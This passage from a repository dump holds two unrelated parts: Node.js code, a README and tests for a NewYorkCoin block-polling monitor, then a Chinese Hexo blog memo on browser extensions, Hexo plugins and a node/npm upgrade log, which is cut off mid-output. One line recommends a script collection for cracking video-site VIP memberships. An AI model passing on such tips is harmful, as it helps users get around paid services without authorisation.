return _.filter(transactions, function(transaction){
return parseInt(transaction.confirmations) >= confirmations;
});
}
}
module.exports = BlockchainClient;
<file_sep>/README.md
## Blockchain Monitor
## Installation
npm install --save blockchain-account-monitor
## Usage
const blockchain = require('blockchain-account-monitor');
const monitor = new blockchain.AccountMonitor({
blockchainClient: new blockchain.Client({
host: "You.Daemon.Host.here",
port: 18823,
user: "someRpcUser",
pass: "<PASSWORD>",
confirmations: 3,
type: 'newyorkcoin'
}),
onBlock: function(block, next) {
console.log('FOUND '+block.length+ ' transactions');
console.log('block', block);
next();
},
timeout: 1000
});
monitor.lastBlockHash = '23e1b5d9c4258352e6d34728816cde2d46968072cf8d8545184b832149bdb94b';
monitor.start();
<file_sep>/test/blockchain_poller.js
const BlockchainPoller = require(__dirname+'/../lib/blockchain_poller.js');
const BlockchainClient = require(__dirname+'/../lib/blockchain_client.js');
const config = require(__dirname+'/../lib/config.js');
describe('Blockchain Poller', function() {
before(function() {
blockchainPoller = new BlockchainPoller({
lastBlockHash: config.get('lastBlockHash'),
blockchainClient: new BlockchainClient()
});
});
it('accepts a function to call when a block with new transactions is discovered', function(done) {
blockchainPoller.pollForBlocks(function(block, next) {
config.set('lastBlockHash', block.hash);
next();
done();
});
});
it('should not advance if an error is received', function(callback) {
blockchainPoller.pollForBlocks(function(block, next, done) {
delete block;
next(new Error('AccidentalBlockDeletionError'));
callback();
});
});
it('#stop should stop the polling behavior', function() {
var blocks = 0;
blockchainPoller.pollForBlocks(function(block, next) {
if (blocks+=1 > 3) {
return blockchainPoller.stopPollingForBlocks();
}
next();
});
});
});
<file_sep>/lib/account_monitor.js
function BlockchainAccountMonitor(options) {
this.lastBlockHash = options.lastBlockHash;
this.blockchainClient = options.blockchainClient;
this.timeout = options.timeout || 2000;
this.onBlock = options.onBlock;
this.onError = options.onError || function(error) {
console.log('BlockchainAccountMonitor::Error', error);
}
}
BlockchainAccountMonitor.prototype = {
_getNextBlockWithTransactions: function getNextBlockWithTransactions() {
var _this = this;
_this.blockchainClient.listNextBlock(_this.lastBlockHash, function(error, block) {
if (error) {
_this.onError(error);
return setTimeout(_this._getNextBlockWithTransactions.bind(_this), _this.timeout);
}
if (!block) {
return setTimeout(_this._getNextBlockWithTransactions.bind(_this), _this.timeout);
} else {
return _this.onBlock(block, function() {
_this.lastBlockHash = block[0].blockhash;
_this._getNextBlockWithTransactions();
});
}
});
},
start: function() {
var _this = this;
_this._getNextBlockWithTransactions();
}
}
module.exports = BlockchainAccountMonitor;
| 33c71cd34d1c3ce11185578551c9a5cf8d1a1f39 | [
"JavaScript",
"Markdown"
] | 5 | JavaScript | NewYorkCoinNYC/blockchain-account-monitor | 1e55cd249b79e1bd2ab0e5ae65492294a6b71031 | dca7113193e9c4ec86e9ea9ca92cc07183cb53d4 | |
refs/heads/master | <repo_name>weitrue/weitrue.github.io<file_sep>/2021/10/28/memo/index.html
<script type="text/javascript">
(function () {
var dayStr = '12/13';
if (/^\d{1,2}\/\d{1,2}$/.test(dayStr)) {
dayStr = new Date().getFullYear() + '/' + dayStr;
}
if (!/^\d{4}\/\d{1,2}\/\d{1,2}$/.test(dayStr)) {
return ;
}
var day = new Date(dayStr);
var now = new Date();
var isMemorialDay = now.getFullYear() === day.getFullYear() && now.getMonth() === day.getMonth() && now.getDate() === day.getDate();
if (isMemorialDay) {
if (document.all) {
window.style = 'html { -webkit-filter: grayscale(100%); /* webkit */ -moz-filter: grayscale(100%); /* firefox */ -ms-filter: grayscale(100%); /* ie9 */ -o-filter: grayscale(100%); /* opera */ filter: grayscale(100%); filter:progid:DXImageTransform.Microsoft.BasicImage(grayscale=1); filter:gray; /* ie9- */ }';
document.createStyleSheet('javascript:style');
} else {
var style = document.createElement('style');
style.type = 'text/css';
style.innerHTML = 'html { -webkit-filter: grayscale(100%); /* webkit */ -moz-filter: grayscale(100%); /* firefox */ -ms-filter: grayscale(100%); /* ie9 */ -o-filter: grayscale(100%); /* opera */ filter: grayscale(100%); filter:progid:DXImageTransform.Microsoft.BasicImage(grayscale=1); filter:gray; /* ie9- */ }';
document.getElementsByTagName('HEAD').item(0).appendChild(style);
}
}
})();
</script>
<!DOCTYPE html>
<html lang="zh-CN" data-default-color-scheme=auto>
<head>
<meta charset="UTF-8">
<link rel="apple-touch-icon" sizes="76x76" href="/images/img/logo.png">
<link rel="icon" href="/images/img/logo.png">
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0, shrink-to-fit=no">
<meta http-equiv="x-ua-compatible" content="ie=edge">
<meta name="theme-color" content="#2f4154">
<meta name="author" content="<NAME>">
<meta name="keywords" content="">
<meta name="description" content="生活工作备忘录与待办事项。">
<meta property="og:type" content="article">
<meta property="og:title" content="【备忘录】工作与学习">
<meta property="og:url" content="https://weitrue.github.io/2021/10/28/memo/index.html">
<meta property="og:site_name" content="weitrable">
<meta property="og:description" content="生活工作备忘录与待办事项。">
<meta property="og:locale" content="zh_CN">
<meta property="og:image" content="https://weitrue.github.io/images/memo/index.jpg">
<meta property="article:published_time" content="2021-10-28T02:53:39.733Z">
<meta property="article:modified_time" content="2021-10-28T02:53:39.733Z">
<meta property="article:author" content="<NAME>">
<meta property="article:tag" content="备忘录">
<meta name="twitter:card" content="summary_large_image">
<meta name="twitter:image" content="https://weitrue.github.io/images/memo/index.jpg">
<meta name="referrer" content="no-referrer-when-downgrade">
<title>【备忘录】工作与学习 - weitrable</title>
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@4/dist/css/bootstrap.min.css" />
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/github-markdown-css@4/github-markdown.min.css" />
<link rel="stylesheet" href="/lib/hint/hint.min.css" />
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/@fancyapps/fancybox@3/dist/jquery.fancybox.min.css" />
<!-- 主题依赖的图标库,不要自行修改 -->
<!-- Do not modify the link that theme dependent icons -->
<link rel="stylesheet" href="//at.alicdn.com/t/font_1749284_hj8rtnfg7um.css">
<link rel="stylesheet" href="//at.alicdn.com/t/font_1736178_kmeydafke9r.css">
<link rel="stylesheet" href="/css/main.css" />
<link id="highlight-css" rel="stylesheet" href="/css/highlight.css" />
<link id="highlight-css-dark" rel="stylesheet" href="/css/highlight-dark.css" />
<script id="fluid-configs">
var Fluid = window.Fluid || {};
Fluid.ctx = Object.assign({}, Fluid.ctx)
var CONFIG = {"hostname":"weitrue.github.io","root":"/","version":"1.9.4","typing":{"enable":true,"typeSpeed":70,"cursorChar":"_","loop":false,"scope":[]},"anchorjs":{"enable":true,"element":"h1,h2,h3,h4,h5,h6","placement":"right","visible":"hover","icon":""},"progressbar":{"enable":true,"height_px":3,"color":"#29d","options":{"showSpinner":false,"trickleSpeed":100}},"code_language":{"enable":true,"default":"TEXT"},"copy_btn":true,"image_caption":{"enable":true},"image_zoom":{"enable":true,"img_url_replace":["",""]},"toc":{"enable":true,"placement":"right","headingSelector":"h1,h2,h3,h4,h5,h6","collapseDepth":1},"lazyload":{"enable":true,"loading_img":"/img/loading.gif","onlypost":false,"offset_factor":2},"web_analytics":{"enable":false,"follow_dnt":true,"baidu":null,"google":null,"gtag":null,"tencent":{"sid":null,"cid":null},"woyaola":null,"cnzz":null,"leancloud":{"app_id":null,"app_key":null,"server_url":null,"path":"window.location.pathname","ignore_local":false}},"search_path":"/local-search.xml"};
if (CONFIG.web_analytics.follow_dnt) {
var dntVal = navigator.doNotTrack || window.doNotTrack || navigator.msDoNotTrack;
Fluid.ctx.dnt = dntVal && (dntVal.startsWith('1') || dntVal.startsWith('yes') || dntVal.startsWith('on'));
}
</script>
<script src="/js/utils.js" ></script>
<script src="/js/color-schema.js" ></script>
<meta name="generator" content="Hexo 5.4.0"><link rel="alternate" href="/atom.xml" title="weitrable" type="application/atom+xml">
</head>
<body>
<header>
<div class="header-inner" style="height: 60vh;">
<nav id="navbar" class="navbar fixed-top navbar-expand-lg navbar-dark scrolling-navbar">
<div class="container">
<a class="navbar-brand" href="/">
<strong>WeiTrable</strong>
</a>
<button id="navbar-toggler-btn" class="navbar-toggler" type="button" data-toggle="collapse"
data-target="#navbarSupportedContent"
aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation">
<div class="animated-icon"><span></span><span></span><span></span></div>
</button>
<!-- Collapsible content -->
<div class="collapse navbar-collapse" id="navbarSupportedContent">
<ul class="navbar-nav ml-auto text-center">
<li class="nav-item">
<a class="nav-link" href="/">
<i class="iconfont icon-home-fill"></i>
<span>首页</span>
</a>
</li>
<li class="nav-item">
<a class="nav-link" href="/archives/">
<i class="iconfont icon-archive-fill"></i>
<span>归档</span>
</a>
</li>
<li class="nav-item">
<a class="nav-link" href="/categories/">
<i class="iconfont icon-category-fill"></i>
<span>分类</span>
</a>
</li>
<li class="nav-item">
<a class="nav-link" href="/book/">
<i class="iconfont icon-books"></i>
<span>混沌书栈</span>
</a>
</li>
<li class="nav-item">
<a class="nav-link" href="/bookstack/">
<i class="iconfont icon-plan"></i>
<span>混沌日记</span>
</a>
</li>
<li class="nav-item">
<a class="nav-link" href="/tags/">
<i class="iconfont icon-tags-fill"></i>
<span>标签</span>
</a>
</li>
<li class="nav-item">
<a class="nav-link" href="/about/">
<i class="iconfont icon-user-fill"></i>
<span>关于</span>
</a>
</li>
<li class="nav-item">
<a class="nav-link" href="/links/">
<i class="iconfont icon-link-fill"></i>
<span>友链</span>
</a>
</li>
<li class="nav-item" id="search-btn">
<a class="nav-link" target="_self" href="javascript:;" data-toggle="modal" data-target="#modalSearch" aria-label="Search">
<i class="iconfont icon-search"></i>
</a>
</li>
<li class="nav-item" id="color-toggle-btn">
<a class="nav-link" target="_self" href="javascript:;" aria-label="Color Toggle">
<i class="iconfont icon-dark" id="color-toggle-icon"></i>
</a>
</li>
</ul>
</div>
</div>
</nav>
<div id="banner" class="banner" parallax=true
style="background: url('/images/img/banner.png') no-repeat center center; background-size: cover;">
<div class="full-bg-img">
<div class="mask flex-center" style="background-color: rgba(0, 0, 0, 0.3)">
<div class="banner-text text-center fade-in-up">
<div class="h2">
<span id="subtitle" data-typed-text="【备忘录】工作与学习"></span>
</div>
<div class="mt-3">
<span class="post-meta mr-2">
<i class="iconfont icon-author" aria-hidden="true"></i>
Pony W
</span>
<span class="post-meta">
<i class="iconfont icon-date-fill" aria-hidden="true"></i>
<time datetime="2021-10-28 10:53" pubdate>
2021年10月28日 上午
</time>
</span>
</div>
<div class="mt-1">
<span class="post-meta mr-2">
<i class="iconfont icon-chart"></i>
<!-- compatible with older versions-->
9.1k 字
</span>
<span class="post-meta mr-2">
<i class="iconfont icon-clock-fill"></i>
<!-- compatible with older versions-->
29 分钟
</span>
<span id="busuanzi_container_page_pv" style="display: none">
<i class="iconfont icon-eye" aria-hidden="true"></i>
<span id="busuanzi_value_page_pv"></span> 次
</span>
</div>
</div>
</div>
</div>
</div>
</div>
</header>
<main>
<div class="container-fluid nopadding-x">
<div class="row nomargin-x">
<div class="side-col d-none d-lg-block col-lg-2">
</div>
<div class="col-lg-8 nopadding-x-md">
<div class="container nopadding-x-md" id="board-ctn">
<div id="board">
<article class="post-content mx-auto">
<!-- SEO header -->
<h1 style="display: none">【备忘录】工作与学习</h1>
<div class="markdown-body">
<link rel="stylesheet" type="text/css" href="https://cdn.jsdelivr.net/hint.css/2.4.1/hint.min.css"><blockquote>
<p>生活工作备忘录与待办事项。 <span id="more"></span></p>
</blockquote>
<h3 id="google浏览器插件">Google浏览器插件</h3>
<div class="note note-success">
<p><span class="label label-danger">Tampermonkey</span></p><p>Tampermonkey(油猴)是一款针对于浏览器运行脚本的插件,一款必装的浏览器插件神器。</p><p>可以去脚本市场 <a target="_blank" rel="noopener" href="https://greasyfork.org/zh-CN/scripts">greasyfork</a> 去下载自己想要的插件,非常实用。</p><p>这里推荐两个常用的脚本:</p><ul><li><a target="_blank" rel="noopener" href="https://greasyfork.org/zh-CN/scripts/14178-ac-baidu-重定向优化百度搜狗谷歌搜索-去广告-favicon-双列">AC-baidu 重定向优化百度搜狗谷歌搜索;</a></li><li>破解 VIP 会员视频集合。</li></ul><p><a target="_blank" rel="noopener" href="https://chrome.google.com/webstore/detail/tampermonkey/dhdgffkkebhmkfjojejmpbldmpobfkfo?utm_source=chrome-ntp-icon">下载地址</a></p>
</div>
<div class="note note-info">
<p><span class="label label-danger">Wappalyzer</span></p><p>可以发现网站上使用的技术。 它检测内容管理系统,电子商务平台,Web 框架,服务器软件,分析工具等。</p><p><a target="_blank" rel="noopener" href="https://chrome.google.com/webstore/detail/wappalyzer/gppongmhjkpfnbhagpmjfkannfbllamg?utm_source=chrome-ntp-icon">下载地址</a></p>
</div>
<div class="note note-success">
<p><span class="label label-danger">OneTab</span></p><p>当有太多的标签页时,单击OneTab图标,将所有标签页转换成一个列表。再次访问这些标签页时,可以单独或全部恢复它们。</p><p><a target="_blank" rel="noopener" href="https://chrome.google.com/webstore/detail/onetab/chphlpgkkbolifaimnlloiipkdnihall?utm_source=chrome-ntp-icon">下载地址</a></p>
</div>
<div class="note note-info">
<p><span class="label label-danger">Adblock Plus</span></p><p>Adblock Plus 广告拦截器可有效的拦截所有网页上的所有类型的广告。</p><p><a target="_blank" rel="noopener" href="https://chrome.google.com/webstore/detail/adblock-plus-free-ad-bloc/cfhdojbkjhnklbpkdaibdccddilifddb?utm_source=chrome-ntp-icon">下载地址</a></p>
</div>
<div class="note note-success">
<p><span class="label label-danger">Octotree</span></p><p>这款神器可以GitHub平台代码在最左侧显示出树状目录,非常人性化的设计,你可以点击左侧目录切换到项目中的任意一个位置中去。</p><p><a target="_blank" rel="noopener" href="https://chrome.google.com/webstore/detail/octotree-github-code-tree/bkhaagjahfmjljalopjnoealnfndnagc">下载地址</a></p>
</div>
<h3 id="hexo插件">Hexo插件</h3>
<div class="note note-primary">
<p><span class="label label-danger">hexo-admonition</span></p><p> Hexo 内容辅助插件,支持将类似 <a target="_blank" rel="noopener" href="https://docutils.sourceforge.io/docs/ref/rst/directives.html">reStructuredText</a> 的警告提示块添加到 Markdown 文档中。</p><p> <a target="_blank" rel="noopener" href="https://github.com/lxl80/hexo-admonition">安装</a></p>
</div>
<div class="note note-warning">
<p><span class="label label-danger">hexo-butterfly-charts</span></p><p> 将 hexo poats、类别和标签的统计数据呈现到图表中。</p><p> <a target="_blank" rel="noopener" href="https://github.com/kuole-o/hexo-butterfly-charts">安装</a></p>
</div>
<div class="note note-primary">
<p><span class="label label-danger">hexo-deployer-rss3</span></p><p> Hexo 的 RSS3 部署插件。</p><p><a target="_blank" rel="noopener" href="https://github.com/NaturalSelectionLabs/hexo-deployer-rss3">安装</a></p>
</div>
<div class="note note-warning">
<p><span class="label label-danger">hexo-math</span></p><p> 通过标签插件在 Hexo 帖子/页面中嵌入 KaTeX 和 MathJax。</p><p> <a target="_blank" rel="noopener" href="https://github.com/hexojs/hexo-math">安装</a></p><p>数学公式 <span class="math display">\[E=mc^2\]</span></p>
</div>
<div class="note note-primary">
<p><span class="label label-danger">hexo-referenc</span></p><p> 在 Hexo 博客文章中支持 Markdown 脚注和 Wiki 样式工具提示参考的插件<sup id="fnref:1"><a href="#fn:1" rel="footnote"><span class="hint--top hint--error hint--medium hint--rounded hint--bounce" aria-label=" [测试](https://en.wikipedia.org/wiki/Markdown)">[1]</span></a></sup>。</p><p> <a target="_blank" rel="noopener" href="https://github.com/kchen0x/hexo-reference">安装</a></p><p>流程图</p><pre><code class=" mermaid">classDiagram
Class01 <|-- AveryLongClass : Cool
Class03 *-- Class04
Class05 o-- Class06
Class07 .. Class08
Class09 --> C2 : Where am i?
Class09 --* C3
Class09 --|> Class07
Class07 : equals()
Class07 : Object[] elementData
Class01 : size()
Class01 : int chimp
Class01 : int gorilla
Class08 <--> C2: Cool label
</code></pre>
</div>
<div class="note note-warning">
<p><span class="label label-danger">hexo-simple-mindmap</span></p><p>基于百度脑图的开源库 kityminder开发的hexo思维导图插件。</p><p><a target="_blank" rel="noopener" href="https://github.com/HunterXuan/hexo-simple-mindmap">安装</a></p><p>思维导图</p><blockquote class="pullquote mindmap mindmap-md"><ul><li>知识图谱<ul><li>Golang</li><li>Python</li><li>Java<ul><li>JVM</li></ul></li></ul></li><li>消息队列<ul><li>Kafka</li><li>Pulsar</li></ul></li></ul></blockquote>
</div>
<div class="note note-primary">
<p><span class="label label-danger">hexo-spoiler</span></p><p>折叠博客内容,实现根据需要显示/隐藏博客内容<sup id="fnref:2"><a href="#fn:2" rel="footnote"><span class="hint--top hint--error hint--medium hint--rounded hint--bounce" aria-label="[Hexo Fluid 代码折叠](https://wty-yy.github.io/posts/44830/)">[2]</span></a></sup>。</p><p><a target="_blank" rel="noopener" href="https://github.com/unnamed42/hexo-spoiler">安装</a></p>
</div>
<div class="spoiler collapsed">
<div class="spoiler-title">
内容
</div>
<div class="spoiler-content">
<p>内容</p>
</div>
</div>
<h3 id="npm与node环境更新">npm与node环境更新</h3>
<h4 id="更新记录">更新记录</h4>
<p><code>npm install -g npm</code>更新npm失败</p>
<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><code class="hljs shell">/usr/local/bin/npm -> /usr/local/lib/node_modules/npm/bin/npm-cli.js<br>/usr/local/bin/npx -> /usr/local/lib/node_modules/npm/bin/npx-cli.js<br>npm WARN notsup Unsupported engine for [email protected]: wanted: {"node":"^12.13.0 || ^14.15.0 || >=16"} (current: {"node":"13.9.0","npm":"6.14.8"})<br>npm WARN notsup Not compatible with your version of node/npm: [email protected]<br><br>+ [email protected]<br>added 67 packages from 17 contributors, removed 287 packages and updated 147 packages in 4.402s<br></code></pre></td></tr></table></figure>
<p>发现需要依赖的node版本不对</p>
<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><code class="hljs shell"><span class="hljs-meta">#</span><span class="bash"> 输入命令 npm install -g n</span><br>npm does not support Node.js v13.9.0<br>You should probably upgrade to a newer version of node as we<br>can't make any promises that npm will work with this version.<br>You can find the latest version at https://nodejs.org/<br></code></pre></td></tr></table></figure>
<p>因此单独更新node</p>
<h4 id="更新node">更新node</h4>
<h5 id="查看当前node版本">查看当前node版本</h5>
<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><code class="hljs shell">node –v<br>internal/modules/cjs/loader.js:983<br> throw err;<br> ^<br><br>Error: Cannot find module '/Users/wangpeng/Projects/MyProject/weitrue.github.io/–v'<br> at Function.Module._resolveFilename (internal/modules/cjs/loader.js:980:15)<br> at Function.Module._load (internal/modules/cjs/loader.js:862:27)<br> at Function.executeUserEntryPoint [as runMain] (internal/modules/run_main.js:71:12)<br> at internal/main/run_main_module.js:17:47 {<br> code: 'MODULE_NOT_FOUND',<br> requireStack: []<br>}<br></code></pre></td></tr></table></figure>
<p>直接报错</p>
<h4 id="安装n模块">安装n模块</h4>
<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs shell">npm install -g n<br></code></pre></td></tr></table></figure>
<h4 id="升级到指定版本最新版本">升级到指定版本/最新版本</h4>
<p><code>n v@version</code></p>
<p>可以告诉管理器,安装最新的稳定版本</p>
<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs shell">n stable<br> installing : node-v16.13.1<br> mkdir : /usr/local/n/versions/node/16.13.1<br></code></pre></td></tr></table></figure>
<p>安装稳定版本</p>
<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><code class="hljs shell">n v16.13.1<br> installing : node-v16.13.1<br> mkdir : /usr/local/n/versions/node/16.13.1<br>mkdir: /usr/local/n/versions/node/16.13.1: Permission denied<br><br> Error: sudo required (or change ownership, or define N_PREFIX)<br></code></pre></td></tr></table></figure>
<p>需要授权</p>
<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><code class="hljs shell">sudo n v16.13.1<br>Password:<br> installing : node-v16.13.1<br> mkdir : /usr/local/n/versions/node/16.13.1<br> fetch : https://nodejs.org/dist/v16.13.1/node-v16.13.1-darwin-x64.tar.xz<br> installed : v16.13.1 (with npm 8.1.2)<br></code></pre></td></tr></table></figure>
<p>检查是否安装成功</p>
<figure class="highlight crmsh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs crmsh"><span class="hljs-keyword">node</span> <span class="hljs-title">-v</span><br>v16.<span class="hljs-number">13.1</span><br></code></pre></td></tr></table></figure>
<h4 id="更新npm">更新npm</h4>
<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><code class="hljs shell">npm install -g npm<br>npm ERR! code EACCES<br>npm ERR! syscall rename<br>npm ERR! path /usr/local/lib/node_modules/npm<br>npm ERR! dest /usr/local/lib/node_modules/.npm-i9nnxROI<br>npm ERR! errno -13<br>npm ERR! Error: EACCES: permission denied, rename '/usr/local/lib/node_modules/npm' -> '/usr/local/lib/node_modules/.npm-i9nnxROI'<br>npm ERR! [Error: EACCES: permission denied, rename '/usr/local/lib/node_modules/npm' -> '/usr/local/lib/node_modules/.npm-i9nnxROI'] {<br>npm ERR! errno: -13,<br>npm ERR! code: 'EACCES',<br>npm ERR! syscall: 'rename',<br>npm ERR! path: '/usr/local/lib/node_modules/npm',<br>npm ERR! dest: '/usr/local/lib/node_modules/.npm-i9nnxROI'<br>npm ERR! }<br>npm ERR!<br>npm ERR! The operation was rejected by your operating system.<br>npm ERR! It is likely you do not have the permissions to access this file as the current user<br>npm ERR!<br>npm ERR! If you believe this might be a permissions issue, please double-check the<br>npm ERR! permissions of the file and its containing directories, or try running<br>npm ERR! the command again as root/Administrator.<br><br>npm ERR! A complete log of this run can be found in:<br>npm ERR! /Users/wangpeng/.npm/_logs/2021-12-07T02_12_59_256Z-debug.log<br></code></pre></td></tr></table></figure>
<p>需要授权</p>
<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><code class="hljs shell">npm install npm -g<br><br>changed 14 packages in 2s<br><br>10 packages are looking for funding<br> run `npm fund` for details<br></code></pre></td></tr></table></figure>
<h4 id="更新后带来问题">更新后带来问题</h4>
<h5 id="fluid主题hero-g报错">fluid主题<code>hero g</code>报错</h5>
<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br></pre></td><td class="code"><pre><code class="hljs shell">exo g<br>INFO Validating config<br>INFO Start processing<br>INFO<br>------------------------------------------------<br>| |<br>| ________ __ _ __ |<br>| |_ __ |[ | (_) | ] |<br>| | |_ \_| | | __ _ __ .--.| | |<br>| | _| | |[ | | | [ |/ /'`\' | |<br>| _| |_ | | | \_/ |, | || \__/ | |<br>| |_____| [___]'.__.'_/[___]'.__.;__] |<br>| |<br>| Thank you for using Fluid theme ! |<br>| Docs: https://hexo.fluid-dev.com/docs/ |<br>| |<br>------------------------------------------------<br><br>FATAL {<br> err: Error: Function yaml.safeLoad is removed in js-yaml 4. Use yaml.load instead, which is now safe by default.<br> at Object.safeLoad (/Users/wangpeng/Projects/MyProject/weitrue.github.io/node_modules/js-yaml/index.js:10:11)<br> at module.exports (/Users/wangpeng/Projects/MyProject/weitrue.github.io/themes/fluid/scripts/events/lib/merge-configs.js:32:24)<br> at Hexo.<anonymous> (/Users/wangpeng/Projects/MyProject/weitrue.github.io/themes/fluid/scripts/events/index.js:7:33)<br> at Hexo.emit (node:events:402:35)<br> at Hexo._generate (/Users/wangpeng/Projects/MyProject/weitrue.github.io/node_modules/hexo/lib/hexo/index.js:452:10)<br> at /Users/wangpeng/Projects/MyProject/weitrue.github.io/node_modules/hexo/lib/hexo/index.js:324:24<br> at tryCatcher (/Users/wangpeng/Projects/MyProject/weitrue.github.io/node_modules/bluebird/js/release/util.js:16:23)<br> at Promise._settlePromiseFromHandler (/Users/wangpeng/Projects/MyProject/weitrue.github.io/node_modules/bluebird/js/release/promise.js:547:31)<br> at Promise._settlePromise (/Users/wangpeng/Projects/MyProject/weitrue.github.io/node_modules/bluebird/js/release/promise.js:604:18)<br> at Promise._settlePromise0 (/Users/wangpeng/Projects/MyProject/weitrue.github.io/node_modules/bluebird/js/release/promise.js:649:10)<br> at Promise._settlePromises (/Users/wangpeng/Projects/MyProject/weitrue.github.io/node_modules/bluebird/js/release/promise.js:729:18)<br> at Promise._fulfill (/Users/wangpeng/Projects/MyProject/weitrue.github.io/node_modules/bluebird/js/release/promise.js:673:18)<br> at Promise._resolveCallback (/Users/wangpeng/Projects/MyProject/weitrue.github.io/node_modules/bluebird/js/release/promise.js:466:57)<br> at Promise._settlePromiseFromHandler (/Users/wangpeng/Projects/MyProject/weitrue.github.io/node_modules/bluebird/js/release/promise.js:559:17)<br> at Promise._settlePromise (/Users/wangpeng/Projects/MyProject/weitrue.github.io/node_modules/bluebird/js/release/promise.js:604:18)<br> at Promise._settlePromise0 (/Users/wangpeng/Projects/MyProject/weitrue.github.io/node_modules/bluebird/js/release/promise.js:649:10)<br> at Promise._settlePromises (/Users/wangpeng/Projects/MyProject/weitrue.github.io/node_modules/bluebird/js/release/promise.js:729:18)<br> at Promise._fulfill (/Users/wangpeng/Projects/MyProject/weitrue.github.io/node_modules/bluebird/js/release/promise.js:673:18)<br> at PromiseArray._resolve (/Users/wangpeng/Projects/MyProject/weitrue.github.io/node_modules/bluebird/js/release/promise_array.js:127:19)<br> at PromiseArray._promiseFulfilled (/Users/wangpeng/Projects/MyProject/weitrue.github.io/node_modules/bluebird/js/release/promise_array.js:145:14)<br> at Promise._settlePromise (/Users/wangpeng/Projects/MyProject/weitrue.github.io/node_modules/bluebird/js/release/promise.js:609:26)<br> at Promise._settlePromise0 (/Users/wangpeng/Projects/MyProject/weitrue.github.io/node_modules/bluebird/js/release/promise.js:649:10)<br>} Something's wrong. Maybe you can find the solution here: %s https://hexo.io/docs/troubleshooting.html<br></code></pre></td></tr></table></figure>
<p><a target="_blank" rel="noopener" href="https://github.com/fluid-dev/hexo-theme-fluid/issues/446">解决办法</a></p>
<h5 id="npm与node后引发问题-循环依赖">npm与node后引发问题-循环依赖</h5>
<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><code class="hljs shell"><span class="hljs-meta">$</span><span class="bash"> hexo s</span><br>INFO Validating config<br>INFO Start processing<br>INFO<br>------------------------------------------------<br>| |<br>| ________ __ _ __ |<br>| |_ __ |[ | (_) | ] |<br>| | |_ \_| | | __ _ __ .--.| | |<br>| | _| | |[ | | | [ |/ /'`\' | |<br>| _| |_ | | | \_/ |, | || \__/ | |<br>| |_____| [___]'.__.'_/[___]'.__.;__] |<br>| |<br>| Thank you for using Fluid theme ! |<br>| Docs: https://hexo.fluid-dev.com/docs/ |<br>| 